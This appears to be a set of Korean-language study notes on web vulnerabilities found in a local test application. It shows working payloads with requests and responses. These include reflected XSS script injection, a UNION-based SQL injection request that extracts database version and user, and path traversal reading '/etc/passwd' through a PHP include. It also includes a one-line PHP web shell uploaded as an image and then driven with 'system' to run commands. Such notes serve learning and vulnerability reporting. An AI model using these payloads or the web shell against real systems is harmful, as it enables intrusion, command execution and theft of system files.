//예시
http://localhost/index.php?title=<script>alert(1)</script> //URL 요청
<h1><script>alert(1)</script></h1> //결과
filename 파라미터 부분에 base64 내용이 encoding 되어있다.
// );</script><script>alert(1);// 삽입
filepaste("base64 encode==" "");</script><script>alert(1);// ( 0 B)");
파라미터에서 공격자가 입력한 값이 base64 디코딩 이후에 별도로 필터링하고 있지 않아서 취약하다.
XSS 발생
mysql> SELECT 1, 2 UNION SELECT VERSION(), USER(); //버전 정보, 사용자 정보 출력
username 파라미터에서
username='union+select+1,2,3,4,version(), 6%23&userjumin=0&userid=3 //request
0000|2|3|4|1|6|5.7.37 //response 부분에서 version 정보 출력
username 이라는 변수가 별도의 필터링 없이 sql 구문이 그대로 들어가는 것을 볼 수 있다.
mname='".$username."' AND ~~~ // sql 구문 그대로 들어가는 코드
sqli 취약점 발생
http://locallhost/download?filename=../../../etc/passwd
/util/error.php?file=../../../etc/passwd //file이라는 파라미터를 통해 상위 디렉터리에 접근해서 /etc/passwd 읽어옴
<?php
$file_name = $_GET["file"]; //GET 메서드로 file 파라미터를 사용자로부터 받아오고 있음
include_once "../lib/inc.depth1.php";
include $DOCUMENT_ROOT."/".$file_name; //../에 대한 필터링이 없는 채로 include 되고 있음을 확인
filename="abc.png" //임의의 이미지 파일을 업로드 하면서
<?php $_POST['a']($_POST['b']); ?> //내용물로는 PHP 코드 작성해서 Request
//Response 내용에 업로드 된 파일의 전체 경로 출력
Response에 출력된 파일 경로에
a=system&b=cat+/etc/passwd // php 코드에 a,b 파라미터 이용해서 다음 매개변수들을 입력 후 Request
Response에 /etc/passwd 파일을 내용 출력
https://domdomiworld.notion.site/3df282f9d230458d898e6e280f0c1156?pvs=4